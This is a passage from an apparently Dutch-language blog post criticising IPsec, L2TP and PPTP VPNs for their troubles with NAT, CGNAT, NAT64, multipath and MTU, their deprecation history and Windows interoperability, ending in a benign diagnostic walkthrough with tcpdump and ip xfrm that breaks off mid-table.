steeds, en levert helemaal niets op. Dit is het ticket dat de meeste tijd opeet. Iemand stuurt UDP 500 en 4500 door op de thuisrouter, de router accepteert het, de instellingenpagina zegt dat de regel actief is — en niets kan hem gebruiken, want hij stuurt door vanaf een adres dat het internet niet kan bereiken. UPnP en PCP gedragen zich net zo: de client vraagt om een mapping, de router verleent die, en de poort opent op een gang. Alles meldt succes en niets werkt. De doos vertelt je wat je horen wilt.\nDe snelste manier om het te beslechten kost niets. Lees het WAN-adres in de router. Begint dat met 100.64, dan is dat de gedeelde ruimte die in RFC 6598 is gereserveerd, zit je achter carrier-grade NAT, en is de halve instellingenpagina decoratie.\nDe responderrol bestaat niet meer. Een apparaat achter CGNAT kan niet de kant zijn die iemand belt. Site-to-site tussen twee filialen op consumentenglasvezel — normaal, goedkoop, en precies wat een klein bedrijf wil — vereist dat minstens één kant een echt adres houdt, of een derde partij in het midden die ze aan elkaar voorstelt. Die derde partij is een bedrijf waarvan je nu afhankelijk bent omdat je provider je geen adres wilde geven.\nDe timer is van iemand anders. RFC 4787 zegt NAT-beheerders dat een UDP-mapping “MUST NOT expire in less than two minutes”, en beveelt vijf of meer aan9. Dat is de ondergrens en het advies, geen belofte, en wat jouw carrier werkelijk doet kun je niet nakijken. Als zodanig houdt de keepalive op een afstelknop te zijn. Hij is dragend, op een timer die je raadt.\nDe identiteit van je peer kan niet zijn adres zijn. Meerdere abonnees bereiken de andere kant als één adres. Wat de concentrator ook gebruikt om ze uit elkaar te houden, het is niet de IP-header — en juist die zou IPsec gebruiken.\nEr is een harde bovengrens, en de leveranciers publiceren hem. Juniper legt voor SRX5400, SRX5600 en SRX5800 vast: “the total number of tunnels from a given public translated IP cannot exceed 1000 tunnels”7. Lees dat als beheerder en niet als specificatieregel. Je VPN-concentrator heeft een limiet per gedeeld adres, het delen wordt gedaan door een carrier waarmee je geen contract hebt, en hoe dicht je bij die limiet zit hangt af van hoeveel van je gebruikers toevallig achter dezelfde zitten. Er is geen teller om in te kijken. Er is alleen de dag waarop het voor sommigen begint te falen en voor anderen niet.\nAlles in dit hoofdstuk vloeit voort uit één beslissing die dit land genomen heeft en bleef nemen. Die zaak heb ik elders volledig uitgeschreven en herhaal ik niet. Het punt is hier smaller: de kernaanname van IPsec is door het toegangsnetwerk geschrapt, en IPsec leeft sindsdien van noodoplossingen.\nEn het IPv6-only-netwerk redt het ook niet Hier moet ik eerlijk zijn tegen mijn eigen betoog, want het voor de hand liggende antwoord op alles hierboven is: goed, geef dan elke machine een echt IPv6-adres en IPsec werkt weer zoals gespecificeerd.\nDat klopt, tussen twee kanten die er allebei een hebben. Dat is niet het netwerk waar de meeste mensen op zitten.\nDe IPv6-only-toegangsnetwerken die werkelijk bestaan, mobiel voorop, bereiken het IPv4-internet via NAT64, en dat is in de gewone zin helemaal geen NAT. Het is een protocolvertaler, die een IPv6-pakket herschrijft tot een IPv4-pakket. En RFC 6146 benoemt wat het vervoert, en benoemt wat het niet vervoert, zonder enige dubbelzinnigheid:\n“The current specification only defines how stateful NAT64 translates unicast packets carrying TCP, UDP, and ICMP traffic. Multicast packets and other protocols, including the Stream Control Transmission Protocol (SCTP), the Datagram Congestion Control Protocol (DCCP), and IPsec, are out of the scope of this specification.”10\nIPsec, bij naam, buiten het bereik. En pakketten die iets buiten die lijst dragen “SHOULD be discarded”10.\nOp een IPv6-only-telefoon of -laptop die een IPv4-concentrator wil bereiken — en dat zijn de meeste concentratoren — wordt natief ESP dus niet door een firewall weggegooid of door een vertaler verminkt. Het wordt om te beginnen nooit vervoerd. De vertaler doet precies wat zijn standaard hem voorschrijft.\nHet antwoord van de branche daarop is onvermijdelijk nog een laag: 464XLAT, dat het apparaat een lokale IPv4-stack geeft en twee keer vertaalt, uit IPv4 en terug, zodat wat NAT64 niet kan dragen toch werkt11. Het staat al op de lijst met aanbouwsels in de IPv6-post en ik ga het niet opnieuw beargumenteren. Wat hier het vermelden waard is, is de vorm: een protocol dat in 2004 op NAT brak, breekt ook op de vertaling die in 2011 voor de IPv6-overgang is gebouwd, en beide keren is het antwoord het in iets anders te verpakken.\nDat is de toets die een protocol in 2026 moet doorstaan. Werkt het op het netwerk dat mensen werkelijk hebben — achter het gedeelde adres van een carrier, op een IPv6-only-mobielnetwerk, door een hotel dat alleen TCP 443 doorlaat? Alles dat op een UDP-poort gebouwd is doorstaat alle drie zonder dat je het hoeft te zeggen. IPsec heeft voor elk een andere noodoplossing nodig, en voor de derde bovendien TCP-encapsulatie3.\nGeen poorten betekent ook geen tweede lijn Hier een storing die niets met NAT te maken heeft, puur modern is, en bijna geen aandacht krijgt.\nRouters en switches verdelen verkeer over parallelle paden. Link aggregation, equal-cost multipath: die werken hetzelfde, door het vijftal te hashen. Bronadres, bestemmingsadres, protocol, bronpoort, bestemmingspoort. ESP heeft geen poorten. Elk pakket van een tunnel tussen dezelfde twee adressen hasht dus identiek, en de hele tunnel landt op één lid van de bundel, hoeveel je er ook gekocht hebt.\nTwee 10G-lijnen en één IPsec-tunnel geven je 10G. Vier geven je 10G. De apparatuur werkt precies zoals ontworpen.\nDe noodoplossing heeft de gebruikelijke vorm. Sommig silicium kan in plaats daarvan op de SPI hashen, want elke SPI benoemt één association en dus één stroom, maar dat is een functie die je gekocht moet hebben en niet iets dat je kunt aannemen van een pad dat niet van jou is. Er loopt een IETF-concept waarvan het enige doel is ESP in nog een UDP-header te verpakken zodat gewone routers het kunnen hashen, en het zegt in één zin waarom: “Although the ESP SPI field within the IPsec packets can be used as the load-balancing key, but it cannot be used by legacy switches and routers.”12 De probleemstelling is net zo onomwonden over wat mensen in plaats daarvan doen: “Many cloud service providers allow customers to establish multiple IPsec VPN tunnels in parallel to enable ECMP and increase aggregate bandwidth. However, this approach is not ideal, as each tunnel typically requires its own public IP address, leading to higher public IP consumption and increased operational overhead.”12\nLaat dat even bezinken. De aanbevolen manier om een versleutelde verbinding sneller te maken, is er meerdere bouwen, elk met een verbrand publiek IPv4-adres — tijdens een adressenschaarste — omdat het protocol geen poortnummer heeft om op te hashen. Een op UDP gebouwde tunnel krijgt multipath intussen gratis, van apparatuur die vijftien jaar geleden is uitgeleverd, omdat hij een poort heeft zoals al het andere op het moderne internet.\nDat is geen erfenisprobleem dat vanzelf uitdooft. Dat is een levende grens voor nieuwbouw, vandaag, bij precies de snelheden die mensen nu kopen.\nDe MTU-belasting, en wie hem betaalt Elke tunnel kost bytes. IPsec kost er meer dan de meeste, en de manier waarop het faalt als het krap wordt is de ergste soort storing: onregelmatig, afhankelijk van de grootte, en onzichtbaar voor elke test die je als eerste draait.\nWat elke tunnel per pakket uitgeeft voordat je gegevens erin gaan Bytes weg voordat je gegevens beginnen, op schaal headers, per pakket totaal Natief ESP tunnel, AES-GCM IP 20 ESP 8 IV 8 trailer + tag 18 54 B ESP in UDP poort 4500, voor NAT IP 20 UDP 8 ESP 8 IV 8 trailer + tag 18 62 B L2TP/IPsec AES-CBC, NAT-T IP 20 UDP 8 ESP 8 IV 16 UDP 8 L2TP 6 PPP 4 trailer + tag 18 88 B PPTP GRE, protocol 47 IP 20 GRE 16 PPP 4 helemaal geen integriteitstag 40 B WireGuard één UDP-poort IP 20 UDP 8 header 16 tag 16 60 B De gearceerde blokken zijn de prijs van andermans vertaler. In de L2TP-rij zitten er drie van binnen de versleuteling: een tweede UDP-header, een sessielaag, en de framing van een inbelmodem. PPTP is het goedkoopst omdat het niets beschermt. De 40 byte kopen geen integriteitscontrole, en MS-CHAPv2 werd in 2012 teruggebracht tot één DES-bewerking. Goedkoop is niet de maat. Wat de bytes kopen is de maat. Telkens één doorgerekende configuratie, over IPv4. De exacte cijfers hangen af van cijfer, modus en adresfamilie. Bytes die op elk pakket opgaan voordat er iets van jouw gegevens in gaat, telkens één doorgerekende configuratie. Natief ESP is sober. Het voor NAT verpakken kost er acht meer. L2TP/IPsec draagt binnen de versleuteling een UDP-header, een L2TP-header en een PPP-header — inbel-framing, versleuteld, in 2026. PPTP oogt goedkoop omdat het helemaal geen integriteitscontrole draagt, en dat is precies het probleem ermee. Reken het voor één configuratie door in plaats van te zwaaien. ESP in tunnelmodus over IPv4 met AES-GCM: 20 byte buitenste IP-header, 8 ESP-header, 8 nonce, minimaal 2 trailer, 16 integriteitswaarde. 54 byte voordat er iets van je pakket in gaat. Verpak het voor NAT-traversal en de UDP-header maakt er 62 van. Op een pad van 1500 byte blijft 1438 over, en zodra er ergens ervoor PPPoE op 1492 loopt zit je er weer onder.\nEn dan het stuk dat er een storing van maakt in plaats van een rekensom. Een verzender komt er alleen achter dat een pakket te groot was doordat er een ICMP-fout terugkomt — Fragmentation Needed bij IPv4, Packet Too Big bij IPv6. Gooit iets in het pad die fouten weg, dan komt de verzender er nooit achter en blijft hij pakketten sturen die blijven sterven. Dat is het klassieke zwarte gat: de handshake komt erdoor omdat handshakes klein zijn, en de overdracht blijft hangen omdat overdrachten dat niet zijn.\nCisco onderhoudt hierover sinds het GRE-en-IPsec-tijdperk een heel document, en het is nog altijd een van de betere verklaringen van dit samenspel in wiens bibliotheek dan ook13. Het moet onderhouden worden omdat mensen ICMP in zijn geheel blijven blokkeren en zich dan afvragen waarom tunnels zich vreemd gedragen.\nDe twee helften van dat betoog heb ik al uitgeschreven en ze gelden hier zonder herhaling: welke ICMP-berichten dragend zijn en welk niet, in Ping: het diagnosegereedschap dat een heleboel meer opent, en hoe je de precieze hop vindt die je verkeer opeet, in De firewall is elf hops ver. De korte versie voor deze post: de fouten zijn het mechanisme, echo niet, en een grensbeleid dat heel ICMP weggooit heeft je VPN gesloopt op een manier die het VPN aangerekend wordt.\nEn je eigen quality of service kan het slopen Nog eentje, want die pakt goede ingenieurs die het juiste doen.\nESP draagt een volgnummer en de ontvanger houdt een replayvenster van standaard 64 pakketten op Cisco-platformen14. Prioriteer nu spraak op de verzendende router. Low latency queueing doet wat je vroeg en herschikt pakketten ten opzichte van de volgorde waarin ze versleuteld zijn. Valt een pakket bij aankomst buiten het venster, dan gooit de andere kant het weg als replay, en de teller die oploopt is een beveiligingsteller.\nCisco\u0026rsquo;s eigen woorden: “Certain QoS features, such as Low Latency Queueing (LLQ), could cause IPsec packet delivery to become out-of-order and dropped by the receiving endpoint due to a replay check failure.”14 Hun antwoord is het venster te verbreden naar 1024 waar het platform dat toelaat, of een uitbreiding met meerdere volgnummerruimtes te nemen die QoS-klassen op gescheiden volgnummerruimtes binnen één association afbeeldt14.\nDus: een standaardfunctie van je eigen netwerk aanzetten sloopt je eigen tunnel, en het middel is nog een protocoluitbreiding. Dezelfde vorm als alles hierboven.\nL2TP: inbel-framing, versleuteld, in 2026 L2TP is geen beveiligingsprotocol en heeft dat nooit beweerd. RFC 2661 is een tunnelprotocol om PPP-sessies te vervoeren, gepubliceerd in 1999, zonder eigen vertrouwelijkheid — de eigen beveiligingsparagraaf verwijst je voor bescherming op pakketniveau naar IPsec15. Die koppeling is RFC 3193, en het resultaat is de stapel uit het diagram hierboven: een buitenste IP-header, een UDP-header voor NAT-traversal, ESP, dan binnen de versleuteling nog een UDP-header op poort 1701, een L2TP-header en een PPP-header.\nPPP. De framing van inbelmodems, vervoerd in een versleutelde tunnel, over het internet, in 2026, omdat L2TP daar nu eenmaal voor geschreven is.\nReken uit wat dat kost aan een voorbeeld — buitenste IP 20, UDP 8, ESP-header en IV 24, binnenste UDP 8, L2TP 6, PPP 4, trailer en waarde 18 — en je geeft ongeveer 88 byte per pakket uit om gegevens te verplaatsen die natief ESP voor 54 verplaatst. Vierendertig byte, op elk pakket, voor een sessielaag die niets toevoegt wat je wilde en een verbindingslaag die voor een telefoonlijn ontworpen is.\nDe overhead is nog het minste.\nHet vermenigvuldigt het NAT-probleem in plaats van het te delen. L2TP/IPsec gebruikt gewoonlijk ESP in transportmodus, de modus waar NAT het meeste pijn doet, en het bekende resultaat is dat veel implementaties twee clients achter één adres helemaal niet ondersteunen. Twee mensen in één huis, of veertig in één kantoor, of enkele honderden achter het gedeelde adres van een carrier. De andere kant ziet één adres en kan de sessies niet uit elkaar houden, dus vervangt de tweede verbinding de eerste. Dat is het ticket van bovenaan deze post, en het is in niemands product een fout — het is het identiteit-via-adres-probleem dat aankomt op de plek waar de meeste mensen het tegenkomen.\nEn in het veld wordt het meestal uitgerold met één gedeeld geheim voor iedereen. Doordat het geheim in het clientprofiel wordt gezet en met de installatie-instructies wordt uitgedeeld, staat de pre-shared key in het onboardingdocument, op de wikipagina, in de e-mail aan nieuwe collega\u0026rsquo;s, en op elke laptop die ooit het pand verliet. Het is geen tweede factor. Het is een wachtwoord dat de gateway tegenover niemand in het bijzonder authenticeert en dat nog nooit gewisseld is.\nL2TP is geen protocol dat slecht verouderd is. Het is een protocol dat vanaf dag één het verkeerde vervoerde, en aan IPsec is vastgeschroefd om goed te maken wat het helemaal niet kon.\nPPTP was nooit veilig, en wordt nog steeds verkocht PPTP verdient twee alinea\u0026rsquo;s, geen hoofdstuk, en krijgt ze alleen omdat mensen het nog steeds uitleveren.\nHet was nooit een standaard. RFC 2637 is Informational. Een opgeschreven leveranciersprotocol, niets dat de IETF ooit heeft aanbevolen. Het vervoert PPP in GRE, IP-protocol 47, dat net als ESP geen poorten heeft, dus het heeft in elke NAT op het pad een eigen uitzonderingsbehandeling nodig — het vinkje “PPTP passthrough”, dat op heel veel thuisrouters precies één sessie tegelijk ondersteunt.\nDe beveiliging eindigde publiekelijk in 2012. Marlinspike en Hulton lieten zien dat de beveiliging van MS-CHAPv2 zich ongeacht de wachtwoordlengte terugbrengt tot één DES-bewerking, bouwden chapcrack om de handshake eruit te halen, en koppelden dat aan een kraakdienst die de sleutel binnen een dag voor twintig dollar teruggaf — een slaagkans van 100 %, geen waarschijnlijkheid16. Hun conclusie was dat PPTP-verkeer als onversleuteld beschouwd moet worden. Apple stemde met de voeten en haalde PPTP in 2016 uit de ingebouwde client van macOS Sierra en iOS 10, en publiceert de waarschuwing nog steeds17.\nTien jaar later is PPTP nog altijd een menu-item op routers die dit jaar verkocht worden, nog altijd in handleidingen van leveranciers, nog altijd wat iemand aanzet omdat het de enige is die meteen werkt. Het werkt meteen omdat het de klus niet doet.\nAlles wat zich IPsec-VPN noemt “IPsec-VPN” is geen protocol. Het is een familie, en de lengte van de lijst hieronder is het argument, want geen twee producten implementeren dezelfde deelverzameling, en in de gaten tussen die deelverzamelingen woont elke interopklus die je ooit gehaat hebt.\nOnderdeel Wat het toevoegt Waar het staat ESP, IP-protocol 50 De versleuteling en integriteit zelf RFC 4303 — actueel18 AH, IP-protocol 51 Integriteit ook over de IP-header RFC 4302 — door NAT onbruikbaar2 IKEv1 De oorspronkelijke sleuteluitwisseling Afgeschaft, RFC\u0026rsquo;s op Historic gezet19 IKEv2 De huidige sleuteluitwisseling RFC 729620 IPComp, IP-protocol 108 Comprimeert voor het versleutelen, met eigen associations RFC 317321 PF_KEY v2 Een kernel-API zodat een daemon de sleutels kan laden RFC 236722 NAT-traversal Verpakt ESP in UDP 4500 zodat een vertaler ermee overweg kan RFC 3947 / 39486 TCP-encapsulatie Voor netwerken die ook UDP blokkeren RFC 9329, vervangt RFC 82293 IKEv2-fragmentatie Omdat de sleuteluitwisseling zelf de MTU ontgroeid is RFC 738323 MOBIKE Zodat de tunnel een adreswisseling overleeft RFC 455524 Dead peer detection Een hartslag, want verder zegt niets het je RFC 370625 XAUTH Gebruikersauthenticatie — wachtwoord, token, RADIUS Nooit een RFC. Verlopen concept, 200126 Mode-Config Geeft de client adres, DNS en routes Ook nooit een RFC26 L2TP/IPsec Vervoert PPP in de tunnel RFC 2661 + RFC 319327 GRE of VTI over IPsec Geeft je een routeerbare interface om een protocol op te draaien Leveranciersarchitectuur op ESP DMVPN mGRE plus NHRP plus IPsec, zodat spokes elkaar vinden Leveranciersarchitectuur, NHRP RFC 233228 GETVPN Groepssleutels, helemaal zonder tunnel per paar GDOI, RFC 640729 PPTP Wat IPsec moest vervangen RFC 2637 — Informational, nooit een standaard30 Kijk nu naar de twee vetgedrukte regels, want dat zijn de regels die je moeten tegenhouden.\nBijna twee decennia lang was de normale manier om een gebruiker op een zakelijk IPsec-VPN aan te melden XAUTH — je gebruikersnaam en wachtwoord, je token, je RADIUS-server — met Mode-Config dat de client zijn adres, DNS-servers en routes geeft. Samen zijn ze de hele ervaring van toegang op afstand. Elke “Cisco IPsec”-client, elk VPN-pictogram in een balk, elke aansluitinstructie.\nGeen van beide is een standaard. XAUTH was een individueel internetconcept dat in 2001 verliep en gearchiveerd werd zonder ooit een RFC te worden26. De opgegeven reden is het lezen waard, want daar legt een commissie uit waarom het zijn werk niet wilde doen: het concept legt vast dat de IPSRA-werkgroep geen protocol zou aanvaarden dat ISAKMP of IKE uitbreidt, en dat de IPsec-werkgroep alles weigerde wat met toegang op afstand te maken had26. Het meest uitgerolde deel van het meest uitgerolde VPN-protocol bleef dus dakloos, werd toch door elke leverancier naar eigen lezing van een verlopen concept geïmplementeerd, en aan miljoenen gebruikers uitgeleverd.\nIKEv2 heeft beide uiteindelijk rechtgezet, en dat mag gezegd worden: de authenticatie ging naar EAP en de configuratiepayloads voor de client kwamen in de kernspecificatie20. Maar lees de jaartallen. De meest gebruikte functie van het meest gebruikte VPN-protocol liep ongeveer een decennium op een verlopen concept voordat er überhaupt een standaard was, en de geïnstalleerde basis draaide daarna nog jaren door op de conceptversie. Een protocolfamilie krijgt geen krediet voor het uiteindelijk standaardiseren van het deel dat iedereen toch al gebruikte.\nDat is de familie die je draait. Een deel ervan is Standards Track en actueel. Een deel is Historic. Een deel is nooit iets geworden. En een product waarvan het datablad “IPsec-VPN” zegt, heeft je ongeveer niets verteld over welke van deze achttien dingen het kan — en daarom kost twee ervan aan elkaar knopen veertien dagen, een spreadsheet met proposals en een telefoontje naar iemand die het eerder gedaan heeft.\nHet Fisher-Price OS (Windows) heeft nooit echt samengewerkt Dit is het stuk waar iemand zegt dat het probleem eigenlijk Linux is, dus doen we het met bronnen.\nStandaard verbindt de Windows-client helemaal niet met een IPsec-server die achter NAT staat. Niet “heeft moeite”. Weigert. De oplossing is een registerwaarde met de naam AssumeUDPEncapsulationContextOnSendRule onder HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\PolicyAgent, op 1 gezet als de server achter een vertaler staat of op 2 als beide kanten dat doen, op elke client en op de server, gevolgd door een herstart31. Microsofts eigen woorden: “By default, Windows Vista and Windows Server 2008 don\u0026rsquo;t support Internet Protocol security (IPsec) network address translation (NAT) Traversal (NAT-T) security associations to servers that are located behind a NAT device.”31\nTwee dingen daarover. Ten eerste heeft Microsoft de NAT-traversalstandaard die het weigert te gebruiken mede geschreven. Hun naam staat op RFC 3947 en RFC 39486. Ten tweede is de pagina die je zegt het register te bewerken voor het laatst herzien in februari 202631. Twintig jaar later is een registeringreep op elk eindpunt nog altijd het antwoord, en wordt het nog altijd als antwoord onderhouden.\nEn lees de zin die Microsoft er direct boven zet: “If you must use IPsec for communication, use public IP addresses for all servers that you can connect to from the Internet.”31\nDat is deze hele post, in de documentatie van de leverancier. Zet IPsec niet achter NAT. Geef elke machine een echt adres. Ze hebben het opgeschreven, en daarna heeft de branche twee decennia het tegenovergestelde gedaan en het verschil in rekening gebracht.\nBij NAT houdt het niet op. Lees wat een opensourcegateway moet vastleggen om een Windows-client te accepteren.\nHet gatewaycertificaat heeft een extended key usage nodig die hiervoor en voor niets anders bestaat. serverAuth, OID 1.3.6.1.5.5.7.3.1, plus IP Security IKE Intermediate, OID 1.3.6.1.5.5.8.2.232. Je CA moet geleerd worden een OID uit te geven waarvan de meeste gereedschappen nog nooit gehoord hebben, anders faalt de verbinding op een beleidsfout zonder bruikbare melding. Een tweede registerwaarde is nodig voordat de client fatsoenlijke cryptografie aanbiedt. strongSwan documenteert het toevoegen van NegotiateDH2048_AES256 onder Rasman\\Parameters om AES-256-CBC en een 2048-bits groep te krijgen33. Lees dat andersom, want zo telt het: zonder registeringreep is het standaardaanbod zwakker dan dat. Door de server gestart hersleutelen wordt door clients achter NAT geweigerd, en de gedocumenteerde noodoplossing is hersleutelen op de gateway uit te zetten en de client te laten beginnen33. Standaard IKEv2-uitbreidingen ontbreken simpelweg — geen IKE-omleiding, geen meervoudige authenticatierondes33. Niets daarvan is een fout van Linux. Elk punt is een opensourceproject dat opschrijft wat het moet doen om tegemoet te komen aan de lezing die één leverancier geeft aan een standaard die die leverancier mede geschreven heeft.\nDat is het patroon, en het is dertig jaar oud. PPTP was Microsofts protocol, als Informational opgeschreven en nooit gestandaardiseerd30. MS-CHAPv2 en MPPE waren Microsofts authenticatie en versleuteling, en beide zijn in het openbaar gebroken16. SSTP is een Microsoft-tunnel die niemand anders termineert. DirectAccess was IPsec, en was aan beide kanten Windows bij ontwerp — en is inmiddels afgeschaft en wordt verwijderd, waarbij klanten naar Always On VPN worden geduwd34. Geen daarvan is ooit een protocol geweest waarbij de rest van ons elkaar halverwege kon treffen. Het was een protocol waar je je bij aansloot, en draaide je aan beide kanten niet het juiste besturingssysteem, dan kreeg je de registeringreep, de rare OID en de pagina met noodoplossingen.\nDus zeg ik het onomwonden, het is tenslotte mijn blog. Het Fisher-Price OS (Windows) is in een open protocolstapel nooit een echte gelijke geweest, want daar was het nooit voor bedoeld. Het verbergt de machine voor de persoon die hem gebruikt, en wel als ontwerpdoel, en een stapel die je niet kunt zien is een stapel die je niet interoperabel kunt maken. Als dat het enige besturingssysteem is dat je ooit beheerd hebt, zullen de hoofdstukken hierboven over kerneltellers en meelezen op de lijn als een vreemde taal geklonken hebben, en dát is het gat — geen voorkeur, een gat.\nNiets daarvan hoeft de lezer iets te kosten. Elke diagnose in deze post draait vanaf elke Unix in het netwerk, gericht op wat kapot is, en het maakt haar volstrekt niet uit wat er aan de andere kant draait. En als dat besturingssysteem het enige is dat je hebt, draagt het diagnosedeel hieronder ook zijn eigen gereedschap — de capture, de twee cmdlets en de foutcodes met wat elk daarvan werkelijk zegt. Een kapotte tunnel moet maandag toch gerepareerd worden. De vervanger waar ik aan het eind voor pleit heeft dan één client, die zich op elk platform hetzelfde gedraagt, dat platform inbegrepen — voor het eerst in dertig jaar geldt dat voor een VPN.\nHet afschaffingsdossier leest als een overlijdensbericht Zet de noodoplossingen opzij en lees gewoon wat de standaardisatieorganen deze familie door de jaren heen hebben aangedaan. Geen mening. Eisniveaus, in gepubliceerde RFC\u0026rsquo;s.\nWat Waar het nu staat Bron IKEv1 Afgeschaft; RFC 2407, 2408 en 2409 op Historic gezet RFC 9395, 202319 DES in ESP MUST NOT RFC 82218 3DES in ESP SHOULD NOT RFC 82218 HMAC-MD5-96 MUST NOT RFC 82218 ESP samen met AH NOT RECOMMENDED RFC 82218 ESP met alleen versleuteling Onveilig aangetoond, en in 2007 in de praktijk gebroken Degabriele en Paterson35 IPsec op een IPv6-node Van MUST naar SHOULD verlaagd RFC 6434, 201136 PPTP Nooit een standaard; alleen Informational RFC 263730 De één-na-laatste regel is die welke ik voor zou leggen aan iedereen die mij vertelt dat IPsec prima is en dat het netwerk het probleem is. IPv6 schreef IPsec oorspronkelijk voor — het was het beveiligingsverhaal, vastgelegd in de node requirements. In 2011 bedacht de IETF zich: “Previously, IPv6 mandated implementation of IPsec and recommended the key management approach of IKE. This document updates that recommendation by making support of the IPsec Architecture a SHOULD for all IPv6 nodes.”36\nZelfs de adresfamilie die IPsec alles teruggegeven zou hebben wat NAT wegnam, is vijftien jaar geleden opgehouden het te eisen. Dat is niet het netwerk dat IPsec in de steek laat. Dat zijn de mensen die het netwerk ontworpen hebben en besloten dat het het gebod niet verdiend had.\nDe complexiteit werd in 1999 gesignaleerd, schriftelijk Niets hiervan is wijsheid achteraf, en juist dat maakt het het opschrijven waard.\nIn 1999 kregen Niels Ferguson en Bruce Schneier de opdracht IPsec te beoordelen. Hun rapport is kort, helder en de moeite waard om helemaal te lezen. Het opent met “IPsec was a great disappointment to us. Given the quality of the people that worked on it and the time that was spent on it, we expected a much better result.”37 Het benoemt de oorzaak: “Our main criticism of IPsec is its complexity. IPsec contains too many options and too much flexibility; there are often several ways of doing the same or similar things. This is a typical committee effect.”37\nEn het deed drie aanbevelingen die nu lezen als een lijst van dingen die toch gebeurd zijn, twintig jaar te laat en op de harde manier:\nSchaf de transportmodus af. “We therefore recommend that transport mode be eliminated.”37 De transportmodus is de modus die L2TP/IPsec gebruikt, en de modus waar NAT het meeste pijn doet. Schaf AH af. “We conclude that eliminating transport mode allows the elimination of the AH protocol as well, without loss of functionality.”37 NAT heeft het in plaats daarvan afgeschaft, om een slechtere reden. Sta versleuteling zonder authenticatie nooit toe. Ze waarschuwden dat beheerders “will be quite likely to configure ESP for only encryption, believing that it provides security” — ESP zeer waarschijnlijk alleen op versleuteling zouden zetten, in de overtuiging dat dat beveiliging oplevert37. Acht jaar later hield dat laatste punt op een waarschuwing te zijn. Degabriele en Paterson publiceerden aanvallen die “break any RFC-compliant implementation of IPsec making use of encryption-only ESP” — elke RFC-conforme implementatie breken die ESP met alleen versleuteling gebruikt, uit louter de cijfertekst, en waarvoor niet meer nodig is dan verkeer meelezen en pakketten injecteren35. De voorspelling stond acht jaar in het publieke dossier en de standaard stond de configuratie nog steeds toe.\nHet oordeel uit dat rapport van 1999 is de zin waar ik telkens op terugkom: “We have found serious security weaknesses in all major components of IPsec. As always in security, there is no prize for getting 90% right; you have to get everything right.”37\nNog twee gegevens, en dan laat ik het erbij.\nLogjam, 2015. Het team erachter scande een steekproef van 1 % van IPv4 op IKE en vond dat 86,1 % van de IKEv1- en 91,0 % van de IKEv2-servers de 1024-bits Oakley-groep 2 ondersteunde, en dat 66,1 % van de geprofileerde IKEv1-servers die prefereerde. Hun conclusie: voorberekening tegen een tweede 1024-bits groep “would allow decryption of traffic to 66% of IPsec VPNs”, en de gepubliceerde inlichtingendocumenten over VPN-exploitatie zijn “consistent with having achieved such a break”38. Cryptografische wendbaarheid, waar IPsec het meeste van heeft, is de reden dat bijna iedereen vijftien jaar op dezelfde zwakke groep bleef zitten.\nCVE-2016-1287. Een bufferoverloop in de IKEv1- en IKEv2-code op Cisco ASA, bereikbaar door geprepareerde UDP-pakketten te sturen, met code-uitvoering op afstand vóór authenticatie39. Denk aan waar die doos staat. Het is het apparaat dat je bewust aan het hele internet hebt blootgesteld, waarop het meest optierijke protocol van het hele park draait, met een fragmentassembler voor de parser, en dat de sleutels tot alles daarachter houdt. De complexiteit waar Ferguson en Schneier voor waarschuwden is geen abstractie. Het is aanvalsoppervlak, op de ene machine die je nergens achter kunt zetten.\nHet diagnosticeren zolang je het nog draait Je kunt dit niet vanmiddag allemaal uitzetten, dus hier is hoe je eraan werkt. Dit is de methode, in de volgorde die het minste kost, met wat elk resultaat werkelijk betekent.\nZes manieren waarop het het opgeeft, op de plek in het pad waar elk gebeurt Waar elke storing echt zit Client beleid en routes Thuisrouter vertaling één Carrier vertaling twee Het internet filters en MTU Gateway selectors en identiteit 1 2 3 4 5 6 1 Helemaal niets op de lijn. Het verkeer heeft IPsec nooit bereikt. Stop met zoeken bij de crypto. ip xfrm policy en de route, en wat de hostfirewall doet. 2 Poort 500 beide kanten op, 4500 nooit. NAT-traversal is niet onderhandeld. tcpdump -ni eth0 'udp port 500 or udp port 4500 or ip proto 50' Kaal ESP overleeft dat niet. 3 Sterft na inactiviteit, leeft op bij gebruik. Een mapping is bij een van de twee vertalers verlopen. Je keepalive verliest van een timer die je niet kunt lezen. Verkort hem en vertrouw de standaard niet. 4 Uitgaande teller stijgt, inkomende vlak. ESP sterft onderweg in één richting. ip -s xfrm state aan beide kanten, zoek dan de hop die het opeet. 5 Inloggen gaat, grote overdrachten hangen. Path MTU, en de ICMP-fouten komen niet terug. ping -M do -s 1400 stapsgewijs omlaag, klem dan de segmentgrootte en repareer de ICMP-regel. 6 Beide kanten zeggen up, er gaat niets door. Traffic selectors, beleid of routering \u0026#8212; niet de sleutels. En heeft een tweede gebruiker de eerste eruit gegooid, dan is het peeridentiteit, geen capaciteit. Eén opname aan de grens van dertig seconden beantwoordt de eerste drie. Doe dat voordat je een console opent. De zes storingen in de volgorde waarin je erop test, met het symptoom, de controle en wat het antwoord betekent. Elke regel is een andere laag van de stapel die het opgeeft, en de eerste drie worden beantwoord door dertig seconden naar de lijn te kijken — en dat is waarom je daarmee begint en niet eindigt. Kijk eerst naar de lijn, niet naar de console Beide consoles vertellen je wat ze geloven. De lijn vertelt je wat er gebeurd is. Eén opname aan de grens, dertig seconden, beantwoordt de eerste drie vragen tegelijk:\ntcpdump -ni eth0 \u0026#39;udp port 500 or udp port 4500 or ip proto 50 or ip6 proto 50\u0026#39; Helemaal niets uitgaand — het probleem zit vóór IPsec: routering, beleid, of een hostfirewall. Stop met zoeken bij de cryptografie. Alleen uitgaand, niets terug — je pakketten gaan weg en hun antwoorden komen niet aan. Filtering onderweg, een dode peer, of de andere kant wijst stil af. UDP 500 beide kanten op maar 4500 verschijnt nooit — NAT-traversal is niet onderhandeld. Of een kant heeft het uit staan, of de detectie is mislukt. Protocol 50 op de lijn terwijl één kant achter NAT zit — de onderhandeling besloot dat er geen vertaler was terwijl die er wel is. Dat komt nooit meer goed. De fout bij de sleuteluitwisseling lezen IKEv2 vertelt je waarom het geweigerd heeft, en de notify-namen zijn specifiek genoeg om er alleen al op te diagnosticeren. Het helpt om eerst de vorm van de hele uitwisseling voor je te hebben, want elke notify hieronder hoort bij een bepaalde sport daarvan.\nDe IKEv2-uitwisseling stap voor stap, en welke storing op welke stap woont Elke stap van de uitwisseling, en de storing die erop woont Client achter een vertaler Gateway echt adres Wat hier misgaat IKE_SA_INIT-verzoek \u0026#8212; UDP 500 niets terug \u0026#8212; 809 ERROR_VPN_TIMEOUT IKE_SA_INIT-antwoord \u0026#8212; UDP 500 